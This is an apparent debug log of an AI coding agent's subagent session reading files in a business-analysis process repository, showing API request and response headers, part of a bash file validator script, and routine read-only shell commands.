}\n[2026-09-29T07:46:30.820Z] [INFO] {\n[2026-09-29T07:46:30.820Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:46:30.820Z] [INFO]   \"message\": {\n[2026-09-29T07:46:30.820Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:46:30.820Z] [INFO]     \"id\": \"msg_011CfXMqSJvRDDuXyZUQXzzG\",\n[2026-09-29T07:46:30.820Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:46:30.820Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:46:30.820Z] [INFO]     \"content\": [\n[2026-09-29T07:46:30.820Z] [INFO]       {\n[2026-09-29T07:46:30.820Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:46:30.820Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:46:30.820Z] [INFO]         \"signature\": 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[INFO]       }\n[2026-09-29T07:46:30.820Z] [INFO]     ],\n[2026-09-29T07:46:30.820Z] [INFO]     \"container\": null,\n[2026-09-29T07:46:30.820Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:46:30.820Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:46:30.820Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:46:30.820Z] [INFO]     \"usage\": {\n[2026-09-29T07:46:30.820Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:46:30.820Z] [INFO]       \"cache_creation_input_tokens\": 1554,\n[2026-09-29T07:46:30.820Z] [INFO]       \"cache_read_input_tokens\": 95317,\n[2026-09-29T07:46:30.820Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:46:30.820Z] [INFO]         \"ephemeral_5m_input_tokens\": 1554,\n[2026-09-29T07:46:30.820Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:46:30.820Z] [INFO]       },\n[2026-09-29T07:46:30.820Z] [INFO]       \"output_tokens\": 3,\n[2026-09-29T07:46:30.820Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:46:30.820Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:46:30.820Z] [INFO]     },\n[2026-09-29T07:46:30.820Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:46:30.820Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:46:30.820Z] [INFO]     \"context_management\": null\n[2026-09-29T07:46:30.820Z] [INFO]   },\n[2026-09-29T07:46:30.820Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:46:30.820Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:30.820Z] [INFO]   \"uuid\": \"f933927b-ef86-4d77-a86a-1e6cbaae8541\",\n[2026-09-29T07:46:30.820Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:30.816Z\",\n[2026-09-29T07:46:30.820Z] [INFO]   \"request_id\": \"req_011CfXMqRqeXnqkkEEUB9N7y\",\n[2026-09-29T07:46:30.820Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:46:30.820Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:46:30.820Z] [INFO] }\n[2026-09-29T07:46:30.993Z] [INFO] {\n[2026-09-29T07:46:30.993Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:46:30.993Z] [INFO]   \"message\": {\n[2026-09-29T07:46:30.993Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:46:30.993Z] [INFO]     \"content\": [\n[2026-09-29T07:46:30.993Z] [INFO]       {\n[2026-09-29T07:46:30.993Z] [INFO]         \"tool_use_id\": \"toolu_016qgi6X3y1orwN361mQuE9c\",\n[2026-09-29T07:46:30.993Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:46:30.993Z] [INFO]         \"content\": \"  if [[ -f \\\"$path\\\" ]] && ! grep -Fq -e \\\"$text\\\" \\\"$path\\\"; then\\n    fail \\\"$path must contain: $text\\\"\\n  fi\\n}\\n\\nreject_text() {\\n  local path=\\\"$1\\\"\\n  local text=\\\"$2\\\"\\n  if [[ -f \\\"$path\\\" ]] && grep -Fq -e \\\"$text\\\" \\\"$path\\\"; then\\n    fail \\\"$path must not contain: $text\\\"\\n  fi\\n}\\n\\nis_active_file() {\\n  case \\\"$1\\\" in\\n    # Project documentation is an inherited canonical home defined by\\n    # standards/project-structure-inheritance.md. Its internal shape belongs to\\n    # the project; document-class validators still enforce known subtypes.\\n    projects/*/docs/*)\\n      return 0\\n      ;;\\n    # \u041f\u0430\u043a\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u043c, \u0430 \u043d\u0435 \u043f\u043e\u0444\u0430\u0439\u043b\u043e\u0432\u043e: \u0435\u0433\u043e \u0441\u043e\u0441\u0442\u0430\u0432\\n    # \u0437\u0430\u0434\u0430\u0451\u0442\u0441\u044f \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0435\u0439 \u0438 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0446\u0435\u043b\u0438\u043a\u043e\u043c, \u0430 \u043f\u043e\u043b\u043d\u043e\u0442\u0443 \u0441\u043e\u0441\u0442\u0430\u0432\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\\n    # \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 \u043f\u0430\u043a\u0435\u0442\u0430 (tools/validate-package.py).\\n    projects/ba-ai-process/dist/execution-package-gigacode-cli/*)\\n      return 0\\n      ;;\\n    # Cline pilot Source and compiled Distribution are validated together by\\n    # tools/test-cline-package.sh; the runtime package is checked by its manifest.\\n    projects/ba-ai-process/build/common/* | \\\\\\n    projects/ba-ai-process/build/adapters/cline-vscode/* | \\\\\\n    projects/ba-ai-process/build/compile-cline-package.py | \\\\\\n    projects/ba-ai-process/dist/execution-package-cline-vscode/* | \\\\\\n    projects/ba-ai-process/tests/cline-package/*)\\n      return 0\\n      ;;\\n    projects/ba-ai-process/ba-meta-model/product-taxonomy/* | \\\\\\n    projects/ba-ai-process/build/compiler/*)\\n      return 0\\n      ;;\\n    projects/ba-ai-process/meta-model-guides/* | \\\\\\n    projects/ba-ai-process/tests/execution-package/* | \\\\\\n    projects/ba-ai-process/experiments/*)\\n      return 0\\n      ;;\\n    README.md | \\\\\\n    AGENTS.md | \\\\\\n    .hub-profile.json | \\\\\\n    .gitignore | \\\\\\n    docs/concept.md | \\\\\\n    docs/ba-meta-model-overview.md | \\\\\\n    docs/superpowers/plans/2026-09-09-agents-md-physical-integration.md | \\\\\\n    CONTRIBUTING.md | \\\\\\n    GOVERNANCE.md | \\\\\\n    ai-governance/README.md | \\\\\\n    ai-governance/ai-governance.md | \\\\\\n    ai-governance/agent-security-checklist.md | \\\\\\n    ai-rules/README.md | \\\\\\n    ai-rules/agent-work-rules.md | \\\\\\n    ai-rules/agent-onboarding-protocol.md | \\\\\\n    ai-rules/adversarial-stress-testing.md | \\\\\",\n[2026-09-29T07:46:30.993Z] [INFO]         \"is_error\": false\n[2026-09-29T07:46:30.993Z] [INFO]       }\n[2026-09-29T07:46:30.993Z] [INFO]     ]\n[2026-09-29T07:46:30.993Z] [INFO]   },\n[2026-09-29T07:46:30.993Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:46:30.993Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:30.993Z] [INFO]   \"uuid\": \"31fca2b9-1b49-403a-8d24-613436de1dfd\",\n[2026-09-29T07:46:30.993Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:30.986Z\",\n[2026-09-29T07:46:30.993Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:46:30.993Z] [INFO]     \"stdout\": \"  if [[ -f \\\"$path\\\" ]] && ! grep -Fq -e \\\"$text\\\" \\\"$path\\\"; then\\n    fail \\\"$path must contain: $text\\\"\\n  fi\\n}\\n\\nreject_text() {\\n  local path=\\\"$1\\\"\\n  local text=\\\"$2\\\"\\n  if [[ -f \\\"$path\\\" ]] && grep -Fq -e \\\"$text\\\" \\\"$path\\\"; then\\n    fail \\\"$path must not contain: $text\\\"\\n  fi\\n}\\n\\nis_active_file() {\\n  case \\\"$1\\\" in\\n    # Project documentation is an inherited canonical home defined by\\n    # standards/project-structure-inheritance.md. Its internal shape belongs to\\n    # the project; document-class validators still enforce known subtypes.\\n    projects/*/docs/*)\\n      return 0\\n      ;;\\n    # \u041f\u0430\u043a\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u043c, \u0430 \u043d\u0435 \u043f\u043e\u0444\u0430\u0439\u043b\u043e\u0432\u043e: \u0435\u0433\u043e \u0441\u043e\u0441\u0442\u0430\u0432\\n    # \u0437\u0430\u0434\u0430\u0451\u0442\u0441\u044f \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0435\u0439 \u0438 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0446\u0435\u043b\u0438\u043a\u043e\u043c, \u0430 \u043f\u043e\u043b\u043d\u043e\u0442\u0443 \u0441\u043e\u0441\u0442\u0430\u0432\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\\n    # \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 \u043f\u0430\u043a\u0435\u0442\u0430 (tools/validate-package.py).\\n    projects/ba-ai-process/dist/execution-package-gigacode-cli/*)\\n      return 0\\n      ;;\\n    # Cline pilot Source and compiled Distribution are validated together by\\n    # tools/test-cline-package.sh; the runtime package is checked by its manifest.\\n    projects/ba-ai-process/build/common/* | \\\\\\n    projects/ba-ai-process/build/adapters/cline-vscode/* | \\\\\\n    projects/ba-ai-process/build/compile-cline-package.py | \\\\\\n    projects/ba-ai-process/dist/execution-package-cline-vscode/* | \\\\\\n    projects/ba-ai-process/tests/cline-package/*)\\n      return 0\\n      ;;\\n    projects/ba-ai-process/ba-meta-model/product-taxonomy/* | \\\\\\n    projects/ba-ai-process/build/compiler/*)\\n      return 0\\n      ;;\\n    projects/ba-ai-process/meta-model-guides/* | \\\\\\n    projects/ba-ai-process/tests/execution-package/* | \\\\\\n    projects/ba-ai-process/experiments/*)\\n      return 0\\n      ;;\\n    README.md | \\\\\\n    AGENTS.md | \\\\\\n    .hub-profile.json | \\\\\\n    .gitignore | \\\\\\n    docs/concept.md | \\\\\\n    docs/ba-meta-model-overview.md | \\\\\\n    docs/superpowers/plans/2026-09-09-agents-md-physical-integration.md | \\\\\\n    CONTRIBUTING.md | \\\\\\n    GOVERNANCE.md | \\\\\\n    ai-governance/README.md | \\\\\\n    ai-governance/ai-governance.md | \\\\\\n    ai-governance/agent-security-checklist.md | \\\\\\n    ai-rules/README.md | \\\\\\n    ai-rules/agent-work-rules.md | \\\\\\n    ai-rules/agent-onboarding-protocol.md | \\\\\\n    ai-rules/adversarial-stress-testing.md | \\\\\",\n[2026-09-29T07:46:30.993Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:46:30.993Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:46:30.993Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:46:30.993Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:46:30.993Z] [INFO]   }\n[2026-09-29T07:46:30.993Z] [INFO] }\n[2026-09-29T07:46:31.026Z] [STDOUT] [log_a5a6cf] sending request {\n[2026-09-29T07:46:31.029Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:46:31.032Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:31.036Z] [STDOUT]   options: {\n[2026-09-29T07:46:31.039Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:46:31.042Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:46:31.045Z] [STDOUT]     body: {\n[2026-09-29T07:46:31.049Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:46:31.053Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:46:31.058Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:46:31.061Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:46:31.064Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:46:31.070Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:46:31.073Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:46:31.076Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:46:31.082Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:46:31.085Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:46:31.097Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:46:31.100Z] [STDOUT]       stream: true,\n[2026-09-29T07:46:31.103Z] [STDOUT]     },\n[2026-09-29T07:46:31.107Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:46:31.110Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:46:31.113Z] [STDOUT]       aborted: false,\n[2026-09-29T07:46:31.119Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:46:31.124Z] [STDOUT]       onabort: null,\n[2026-09-29T07:46:31.132Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:46:31.136Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:46:31.139Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:46:31.145Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:46:31.151Z] [STDOUT]     },\n[2026-09-29T07:46:31.154Z] [STDOUT]     stream: true,\n[2026-09-29T07:46:31.157Z] [STDOUT]   },\n[2026-09-29T07:46:31.159Z] [STDOUT]   headers: {\n[2026-09-29T07:46:31.162Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:46:31.167Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:46:31.170Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:46:31.173Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:46:31.177Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:46:31.187Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:46:31.193Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:46:31.200Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:46:31.204Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:46:31.209Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1164\",\n[2026-09-29T07:46:31.214Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:46:31.219Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:46:31.223Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:31.229Z] [STDOUT]     \"x-client-request-id\": \"84421dae-7642-494e-87e1-0c8fee18a37f\",\n[2026-09-29T07:46:31.234Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:46:31.238Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:46:31.244Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:46:31.251Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:46:31.262Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:46:31.266Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:46:31.269Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:46:31.273Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:46:31.278Z] [STDOUT]   },\n[2026-09-29T07:46:31.281Z] [STDOUT] }\n[2026-09-29T07:46:31.285Z] [STDOUT] [log_3bd3cc, request-id: \"req_011CfXMqax5aBrQgJoBkA54c\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 856ms\n[2026-09-29T07:46:31.289Z] [STDOUT] [log_3bd3cc] response start {\n[2026-09-29T07:46:31.293Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:31.297Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:31.299Z] [STDOUT]   headers: {\n[2026-09-29T07:46:31.301Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:31.308Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:31.311Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:31.315Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:46:31.320Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:31.323Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:31.326Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:31.329Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:31.334Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:31.339Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:31.342Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:31.344Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:31.347Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:31.350Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:31.355Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:31.361Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:31.363Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:31.368Z] [STDOUT]     \"cf-ray\": \"a4295fdb5bb029ad-FRA\",\n[2026-09-29T07:46:31.376Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:46:31.379Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:31.381Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:31.385Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:31.387Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:46:31 GMT\",\n[2026-09-29T07:46:31.389Z] [STDOUT]     \"request-id\": \"req_011CfXMqax5aBrQgJoBkA54c\",\n[2026-09-29T07:46:31.399Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:46:31.407Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:31.415Z] [STDOUT]     traceresponse: \"00-6e130c73efc8734594cf7b4451fdb26f-411ef783d68c1980-01\",\n[2026-09-29T07:46:31.422Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:31.430Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:46:31.438Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:31.446Z] [STDOUT]   },\n[2026-09-29T07:46:31.449Z] [STDOUT]   durationMs: 856,\n[2026-09-29T07:46:31.451Z] [STDOUT] }\n[2026-09-29T07:46:31.454Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:46:31.457Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:46:31 GMT\",\n[2026-09-29T07:46:31.460Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:31.462Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:31.467Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:46:31.470Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:31.475Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:31.480Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:31.484Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:46:31.486Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:31.496Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:31.500Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:31.504Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:31.506Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:31.508Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:46:31.510Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:31.515Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:31.521Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:31.527Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:31.531Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:31.533Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:31.537Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:31.540Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:31.542Z] [STDOUT]   \"request-id\": \"req_011CfXMqax5aBrQgJoBkA54c\",\n[2026-09-29T07:46:31.546Z] [STDOUT]   \"traceresponse\": \"00-6e130c73efc8734594cf7b4451fdb26f-411ef783d68c1980-01\",\n[2026-09-29T07:46:31.549Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:31.553Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:31.558Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:46:31.561Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:31.563Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:31.566Z] [STDOUT]   \"cf-ray\": \"a4295fdb5bb029ad-FRA\",\n[2026-09-29T07:46:31.569Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:46:31.573Z] [STDOUT] [log_3bd3cc] response parsed {\n[2026-09-29T07:46:31.577Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:31.581Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:31.584Z] [STDOUT]   body: X {\n[2026-09-29T07:46:31.587Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:46:31.595Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:46:31.598Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:46:31.601Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:46:31.602Z] [STDOUT]     },\n[2026-09-29T07:46:31.605Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:46:31.606Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:46:31.612Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:46:31.617Z] [STDOUT]   },\n[2026-09-29T07:46:31.621Z] [STDOUT]   durationMs: 858,\n[2026-09-29T07:46:31.626Z] [STDOUT] }\n[2026-09-29T07:46:31.977Z] [INFO] {\n[2026-09-29T07:46:31.977Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:46:31.977Z] [INFO]   \"message\": {\n[2026-09-29T07:46:31.977Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:46:31.977Z] [INFO]     \"id\": \"msg_011CfXMqSJvRDDuXyZUQXzzG\",\n[2026-09-29T07:46:31.977Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:46:31.977Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:46:31.977Z] [INFO]     \"content\": [\n[2026-09-29T07:46:31.977Z] [INFO]       {\n[2026-09-29T07:46:31.977Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:46:31.977Z] [INFO]         \"id\": \"toolu_01E2WbdYSobpTFSLYiaZvxeN\",\n[2026-09-29T07:46:31.977Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:46:31.977Z] [INFO]         \"input\": {\n[2026-09-29T07:46:31.977Z] [INFO]           \"command\": \"f=projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md; ls -la $f; grep -n '^#' $f; sed -n 1,90p $f\",\n[2026-09-29T07:46:31.977Z] [INFO]           \"description\": \"Read runtime options doc head\"\n[2026-09-29T07:46:31.977Z] [INFO]         },\n[2026-09-29T07:46:31.977Z] [INFO]         \"caller\": {\n[2026-09-29T07:46:31.977Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:46:31.977Z] [INFO]         }\n[2026-09-29T07:46:31.977Z] [INFO]       }\n[2026-09-29T07:46:31.977Z] [INFO]     ],\n[2026-09-29T07:46:31.977Z] [INFO]     \"container\": null,\n[2026-09-29T07:46:31.977Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:46:31.977Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:46:31.977Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:46:31.977Z] [INFO]     \"usage\": {\n[2026-09-29T07:46:31.977Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:46:31.977Z] [INFO]       \"cache_creation_input_tokens\": 1554,\n[2026-09-29T07:46:31.977Z] [INFO]       \"cache_read_input_tokens\": 95317,\n[2026-09-29T07:46:31.977Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:46:31.977Z] [INFO]         \"ephemeral_5m_input_tokens\": 1554,\n[2026-09-29T07:46:31.977Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:46:31.977Z] [INFO]       },\n[2026-09-29T07:46:31.977Z] [INFO]       \"output_tokens\": 3,\n[2026-09-29T07:46:31.977Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:46:31.977Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:46:31.977Z] [INFO]     },\n[2026-09-29T07:46:31.977Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:46:31.977Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:46:31.977Z] [INFO]     \"context_management\": null\n[2026-09-29T07:46:31.977Z] [INFO]   },\n[2026-09-29T07:46:31.977Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:46:31.977Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:31.977Z] [INFO]   \"uuid\": \"dd0884eb-94f3-409a-8dbd-b5ab9649feff\",\n[2026-09-29T07:46:31.977Z] [INFO]   \"timestamp\": 